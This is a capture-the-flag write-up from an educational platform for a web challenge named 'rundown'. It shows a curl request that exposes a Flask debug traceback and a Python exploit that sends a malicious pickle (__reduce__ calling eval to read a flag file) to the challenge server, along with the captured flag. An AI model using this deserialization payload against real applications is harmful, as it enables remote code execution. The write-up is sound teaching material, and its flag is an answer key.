Write-up and solution for rundown

TITLE	rundown
CATEGORY	web
AUTHOR	Lucian Nitescu
DIFFICULTY	easy
LAST CHANGE	15.07.2021

Disclaimer

These educational materials and resources are intended exclusively for information and discussion, with the aim of awareness of computer risks and threats but also the preparation of new generations of computer security specialists.

The content is developed by CyberEDU SRL and does not offer any guarantee of any kind regarding it to this information. In no case, the organizers and partners of CyberEDU SRL, or the contractors, or its subcontractors will not be liable for any damages, including, but not limited to, direct, indirect, special or subsequent damages resulting from any how it relates to this information, whether or not it is based on warranty, contract, offense or otherwise, whether or not it is through negligence and whether the injury was or is not not resulting from the results or dependence on information.

CyberEDU SRL does not approve any commercial product or service, including the subjects of the analysis. Any reference to specific commercial products, processes or services through service mark, trade mark, manufacturer or otherwise, does not constitute or imply approval, recommendation or favoring them by CyberEDU SRL.

CyberEDU SRL recommends the use of knowledge and technologies presented in these resources only for educational or professional purposes on computers, websites, servers, services or other computer systems you own or you are allowed to access and test, and only after obtaining explicit prior consent from the owners.

Use of techniques or tools presented in these materials against any systems, without the consent of the owners. In many countries illegal access or tentative unauthorized access to a computer system is considered a crime against security and the integrity of computer systems and data and may be punished by law.

Unless otherwise indicated, the CyberEDU SRL is our proprietary property and all source code, databases, functionality, software, website designs, audio, video, text, photographs, and graphics on the CyberEDU SRL (collectively, the “Content”) and the trademarks, service marks, and logos contained therein (the “Marks”) are owned or controlled by us or licensed to us, and are protected by copyright and trademark laws and various other intellectual property rights and unfair competition laws of the United States, foreign jurisdictions, and international conventions.

The Content and the Marks are provided on the CyberEDU SRL “AS IS” for your information and personal use only. Except as expressly provided in these Terms and Conditions, no part of the CyberEDU SRL and no Content or Marks may be copied, reproduced, aggregated, republished, uploaded, posted, publicly displayed, encoded, translated, transmitted, distributed, sold, licensed, or otherwise exploited for any commercial purpose whatsoever, without our express prior written permission.

Provided that you are eligible to use the CyberEDU SRL, you are granted a limited license to access and use the CyberEDU SRL and to download or print a copy of any portion of the Content to which you have properly gained access solely for your personal, non-commercial use. We reserve all rights not expressly granted to you in and to the CyberEDU SRL, the Content and the Marks.

Unless otherwise indicated, the content is our proprietary property and all source code, databases, functionality, software, website designs, audio, video, text, photographs, and graphics received from CyberEDU (collectively, the “Content”) and the trademarks, service marks, and logos contained therein (the “Marks”) are owned or controlled by us or licensed to us, and are protected by copyright and trademark laws and various other intellectual property rights and unfair competition laws of the Romania, foreign jurisdictions, and international conventions.

The Content and the Marks are provided on the CyberEDU SRL “AS IS” for your information and personal use only. Except as expressly provided in these Terms and Conditions, no part of the CyberEDU SRL and no Content or Marks

About the Challenge

Description

A rundown, informally known as a pickle or the hotbox, is a situation in the game of baseball that occurs when the baserunner is stranded between two bases, also known as no-man's land, and is in jeopardy of being tagged out." ... if you stopped in the first part of the definition you are one of ours.

Learning Objectives

- Demonstrate the ability to identify and exploit the web service misconfiguration.
- Demonstrate the ability to identify and exploit the Remote code Execution.
- Demonstrate the ability to Identify and decode the debug information.
- Practice at a minimal level the source code audit capabilities against a Model-View-Controller (MVC) software design pattern application.
- Practice the knowledge of how a Model-View-Controller (MVC) software design pattern works in the perspective of a web application written in a common framework.
- Practice the exploit development by automating the process necessary to leverage access at system level.

Skills Required

OWASP WSTG

- WSTG-INFO-01: Conduct Search Engine Discovery Reconnaissance for Information Leakage
- WSTG-INFO-02: Fingerprint Web Server
- WSTG-INFO-03: Review Webserver Metafiles for Information Leakage
- WSTG-INFO-05: Review Webpage Content for Information Leakage
- WSTG-CONF-06: Test HTTP Methods
- WSTG-CONF-09: Test File Permission

- WSTG-ATHZ-03: Testing for Privilege Escalation
- WSTG-INPV-11: Testing for Code Injection

CWE

- Active Debug Code - (489)
- Race Condition Enabling Link Following - (363)
- Permissive Regular Expression - (625)
- Insertion of Sensitive Information Into Debugging Code - (215)
- Incorrect Default Permissions - (276)
- Deserialization of Untrusted Data - (502)

MITRE ATT&CK

- T1190: Exploit Public-Facing Application

Walkthrough and solution

Hints

- Hint 1: Pickle

Detailed solution

Made a POST request to generate an error with some useful information.

```
darius@bit-sentinel:~/Downloads$ curl -X POST http://34.107.45.139:30396 > output.html
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 17003    0 17003    0     0   138k      0 --:--:-- --:--:-- --:--:--  138k
darius@bit-sentinel:~/Downloads$ firefox output.html
darius@bit-sentinel:~/Downloads$
```

EOFError

EOFError

Traceback *(most recent call last)*

- **File "*/usr/local/lib/python2.7/dist-packages/flask/app.py*", line *2464*, in `__call__`**

```
def __call__(self, environ, start_response):
    """The WSGI server calls the Flask application object as the
    WSGI application. This calls :meth:`wsgi_app` which can be
    wrapped to applying middleware."""
    return self.wsgi_app(environ, start_response)

def __repr__(self):
    return "<%s %r>" % (self.__class__.__name__, self.name)
```

- **File "*/usr/local/lib/python2.7/dist-packages/flask/app.py*", line *2450*, in `wsgi_app`**

```
        try:
            ctx.push()
            response = self.full_dispatch_request()
        except Exception as e:
            error = e
            response = self.handle_exception(e)
        except:  # noqa: B001
            error = sys.exc_info()[1]
            raise
        return response(environ, start_response)
    finally:
```

- **File "*/usr/local/lib/python2.7/dist-packages/flask/app.py*", line *1867*, in `handle_exception`**

```
        # if we want to repropagate the exception, we can attempt to
        # raise it with the whole traceback in case we can do that
        # (the function was actually called from the except part)
        # otherwise, we just raise the error again
        if exc_value is e:
```

The new output offered a lot of information. First, the web app was powered by Flask. Now what to do is to exploit the pickles python like in this article:

https://davidhamann.de/2020/04/05/exploiting-python-pickle/

Final exploit.

```
import pickle as cPickle
import base64
import os
import string
import requests
import time

class Exploit(object):
```

```
      def __reduce__(self):
            return (eval, ('eval(open("flag","r").read())', ))

def sendPayload(p):
      newp = base64.urlsafe_b64encode(p).decode()
      headers = {'Content-Type': 'application/T3jv1l'}
      r =
requests.post("http://34.107.45.139:30396/",headers=headers,data=newp)
      return r.text


payload_dec = cPickle.dumps(Exploit(), protocol=2)
print("ctf{" + sendPayload(payload_dec).split("ctf{")[1].split("}")[0] +
"}")
```

```
darius@bit-sentinel:~/Downloads$ python solver.py
ctf{e687c7f3f6ae2d8154dfae81b5caa978ffdebe42142234e06de26e61c95e3371}
```

References

- https://davidhamann.de/2020/04/05/exploiting-python-pickle/
- https://stackoverflow.com/questions/46336191/importerror-no-module-named-pickle
- https://www.linkedin.com/pulse/hitb-xctf-2018-pythons-revenge-web-writeup-pichaya-morimoto